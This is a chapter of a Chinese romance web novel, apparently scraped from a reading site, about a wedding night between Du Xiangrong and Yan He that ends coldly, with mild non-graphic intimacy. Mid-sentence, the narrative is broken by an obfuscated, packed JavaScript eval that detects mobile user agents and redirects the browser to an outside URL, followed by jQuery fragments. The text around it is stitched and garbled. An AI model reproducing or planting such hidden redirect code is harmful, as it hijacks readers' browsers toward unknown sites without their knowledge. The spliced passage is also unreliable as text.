18.你耍我?

作品:《夫人,你的马甲掉了

    这场婚礼办的声势浩大,杜燕两家都卯足了劲儿,势必要把先前永安城众人施加于一双新人身上的流言蜚语都除个干净。


    花轿敲敲打打地出了门,赵元倚手中的帕子浸湿了一条又一条。待连迎亲队伍的尾巴都看不见后,才强撑起笑脸进厅招呼客人。里头的那些人,全都是她一个个下了帖子的,为的就是让她们知道。她的容儿,非但不克夫,如今还嫁的比谁都好。


    定远侯府的名头谁人不晓,先帝御赐的匾额还高高悬挂在他燕府的门顶上。今上效仿其父,虽不至于轻文,却是极为重武。容儿跟了燕世子,可比那劳什子的丁家和孟家好了不知多少。


    永安城旁的不说,脑子活络的人肯定不少。先前那些传杜想容克夫的人,如今看到局势扭转,便又换了一副神色,直夸杜二小姐的命格一看便是有福之人。天花乱坠的夸奖跟不要银子似的往赵元倚头上丢,把她爽的面红耳赤,心神荡漾。


    同杜府众人的扬眉吐气不同,杜想容此时如同坠入大雾迷境。


    这一轮亲事没同前面几桩那样出大乱子,她本应该高兴的:看到了吗?所谓的克夫都是胡乱传言。要是真克,那花轿前头那红衣新郎官怎得还好端端地骑着马?


    预想中的解脱没出现,又多了一丝说不清道不明的迷惘和恐慌。


    杜府在城西,定远侯府在城东,泾渭分明。可是此刻,她却要捧着满肚子的未知,从城西跨越到城东,去到一个她全然陌生的地方。未来的路,她全然窥不清。


    摇摇晃晃地,她同那人拜了天地、拜了高堂,手上红绸紧牵着入了洞房。周围人群熙熙攘攘,隐隐约约,全福人似乎说了什么,她没听清。只是下一刻,她头上的盖头被一把掀开,周围刺眼的白光晃得她眯了眼。


    待适应了这夺目,再睁眼时就看到的是燕赫似笑非笑的表情,应当是在讥笑她刚刚的蠢样。


    她朝周遭打量,遍布的红,房间陈设算得上温馨,日常用具一应俱全,屋内摆放的屏风成色很新,上头绣的也是花开富贵这类女子较为钟爱的图案。只是,那一墙的兵器有些煞风景。杜想容心中有了考量,这房间是燕赫住的。可能考虑到房间不久要加进个女主人,才半途把一些东西更替了一下。


    再看周围站立的众人,脸上神情各异,好奇也有、打量也有,却无挑剔和看不起,这倒是出乎杜想容的意料。


    定远侯府的门楣,本不是杜家可以攀上的,要不是因为燕赫于亲事上屡屡出怪事,这门婚事本轮不到她。


    可她也不会傻乎乎地当这府邸和定远侯府的宾客全是良善人,只猜测如今她已经加入了燕家,是燕家妇,羞辱她便等同于羞辱定远侯府,周围人不敢开罪定远侯府罢了。


    好容易挨过了夫妻结发,交杯酒这些繁文缛节,等到闹洞房的宾客和她那连话都没说过两句的夫君都出了门,杜想容总算能暂时歇口气。她开口叫人,进来的却不是春梅,也不是春菊,而是个瞧着眼生的丫鬟。


    “你是何人?我那两个大丫鬟呢?”杜想容疑惑。


    “奴婢芍药,是太太赐给世子爷的,”那丫鬟脸颊绯红,娇羞可人,“通房......”


    说罢好似又怕杜想容不快,又着急忙慌补充道,“如今世子爷有了夫人,奴婢不求能恩宠加身,只求世子夫人您能怜惜奴婢,让奴婢同二位姐姐一样,陪侍在世子和夫人身侧便好。”


    这话说的,她要是不答应,这还没拜见公婆呢,就已经有了个善妒,忤逆婆母的帽子盖她头上了。要是同意,这张口齿伶俐的小嘴整日杵在她跟前,她可消受不了。


    “既然你原先是世子身边的,今后依旧跟着世子便好。我这边已经有春梅同春菊,再多人我也用不着。”杜想容下了逐客令,“世子爷还没回来,你先下去吧,把春梅同春菊叫进来。”


    芍药脸上的红晕在听到杜想容这番话时便逐渐消失殆尽,这新夫人的表现,同她想的不太一样。


    迟疑间,杜想容已经扬起了声音,“嗯?还不出去?我这个世子夫人,怕是叫不动你了?”


    芍药终于回神,连声告罪,“奴婢不敢,奴婢不敢......”得了杜想容赦令后才躬着身子出了门。


    春梅同春菊没过多久便进了房,杜想容便问及她们方才踪影。春梅爽直,嘴巴撅得可以吊起一个油壶,“还不是那芍药,我们行李还没收好便给我们下马威,口口声声说她是世子房里的老人,话里话外都是她才是大丫鬟。”


    春菊谨慎,“这芍药看着是好事之人,只盼日后莫要惹了是非。”


    “不必多言,日后你们跟着我,她跟着世子爷,互不冲突。这房里有我的一半,你们是我的陪嫁丫鬟,人前人后代表的,是我的面子,万不可被她欺负了去。”


    春梅和春菊省的,高声应诺,帮她把笨重的钗裙和妆容都卸了,只剩下大红色的寝衣。


    这么一通折腾,杜想容早已口干舌燥,顾不上慢条斯理,端过茶盏便饮。续了好几杯,总算解了渴。


    她刚放下手中的杯子,房门“吱哑”一声从外头被推开。


    燕赫回来了。


    新郎官回来了,那接下来就得......


    春梅和春菊对视一番,眼中的笑意和羞怯藏也藏不住,朝二人各自福了福便出了门。


    杜想容被她俩笑得浑身不自在,手足无措地站在桌旁。


    燕赫也不舒服,她刚喝了水,红唇不点而艳,眼中带着可爱的笨拙,顺着酒劲便钻进了他的心底,引得他腹下有些蠢蠢欲动。


    可他燕赫是什么人,这种事情怎么可能他主动?她不是说钦慕他已久吗?怎么现在是这幅反应。


    罢了,定是太紧张了,让她一回,仅此一回。


    片刻后,燕小世子干巴巴地来了句,“就寝吧。”


    就寝吧。就寝吧。。就寝吧。。。


    这仨字听在杜想容耳中,就自动转化成了赵元倚昨夜红着脸递给她的小册子,一些不可言说的情境一帧帧地在她脑海循环滚动。


    她只觉得脸上噌地起了热浪,烧的她嘴巴脸颊都滚烫。燕赫不再墨迹,径直走过来,伸出手,手上青筋密布,拽着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139697|163006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她往榻上去。


    暖风灼人,直叫人不自觉除了衣。她如初入云端的稚童,深陷在满山的红里。


    渐渐,身上的人开始不满足于此,那热烘的风一寸寸朝着目标地掠进。


    他很熟练,杜想容脑中突然间闪过了这样一个念头。随后身上被撩起的火便以迅雷不及掩耳之势灭了下来。


    她想起了芍药,想起了她谈起燕赫时白嫩脸颊上冒起的粉红。


    她和燕赫一起时,也是那样的神色吗?杜想容无声地追问。


    泉眼在取水人的努力下已经源源不断地渗出水渍,燕小少爷不自觉提起了嘴角,果然,他做什么都有天赋。


    他撑起上身,企图从身下的女人眼中看到赞扬,抬头的景象却让他方寸尽失。


    杜想容一眼也没分给他,那双他觉得纯良笨拙的眼睛,此刻暗淡无光地看着一旁。


    燕赫不知道旁的女子洞房花烛夜是什么样的,但肯定不是这样。冰冷,毫无反应。


    像个死尸,燕赫讽刺地想。


    男人动作停了许久,杜想容终于转回了头,对上了他打量的讽笑。


    燕赫起了身,把刚刚被两人动作挤到一旁的被褥牵了一角,扔在了杜想容身上。


    他慢条斯理地穿上了衣服,起身下床,丢了句,“小爷没有睡尸体的癖好”便出了门。


    他有自己的骄傲。


    临出门前,他回头问了句,“那日,你说钦慕我已久,是真是假?”


    杜想容此时已换了姿势,半坐在床沿,飘浮的帘子挡住了她的神色。


    一声轻飘飘的“抱歉”传了过来,燕赫无所谓地笑了下,“果然如此,杜二小姐,你很好,把我都耍进去了。”


    身下还难受着,燕赫出了门直往客房去,一声“飞流”便有身影从远处屋檐飞了过来。


    “世子,您怎么这个时候出来了?”飞流是真费解,这好好的洞房花烛夜,他的亲亲世子爷不在温柔乡里呆着,跑出来做啥子。


    “管这么多干嘛,打水到净房,我要沐浴。”


    飞流似有所感,眼睛不自觉往他身下瞟。


    燕赫真恼了,“再不滚,明天就把你扔军营练兵。”


    “不不不,就在永安城呆着挺好的。”飞流真怕啊,那军营是人呆的地儿吗?前面几年跟世子去了一趟,几乎褪了一层皮儿。


    识时务者唯俊杰,飞流屁颠屁颠就去备水了,还不忘回头贴心询问,“世子,冷的还是热的?”


    燕赫头上青筋直冒,几乎咬牙切齿,“冷的。”


    “得嘞,小的这就去,包您满意......”


    飞流欠揍的声音远去,燕赫嘴边强装的轻松和无所谓也随之卸掉。


    他被耍了,还被耍的很惨。思及此处,他伸手摸了摸袖袋,从里头掏出了个小物件,甩手便丢了。


    找宫中老嬷嬷要的偏方,专门用来给初次后的女子疗养的,这下用不着了。


    泛着冷光的小盒子在空中划出了一道弧线,“笃”地一声陷进了某一处,从此无声无息。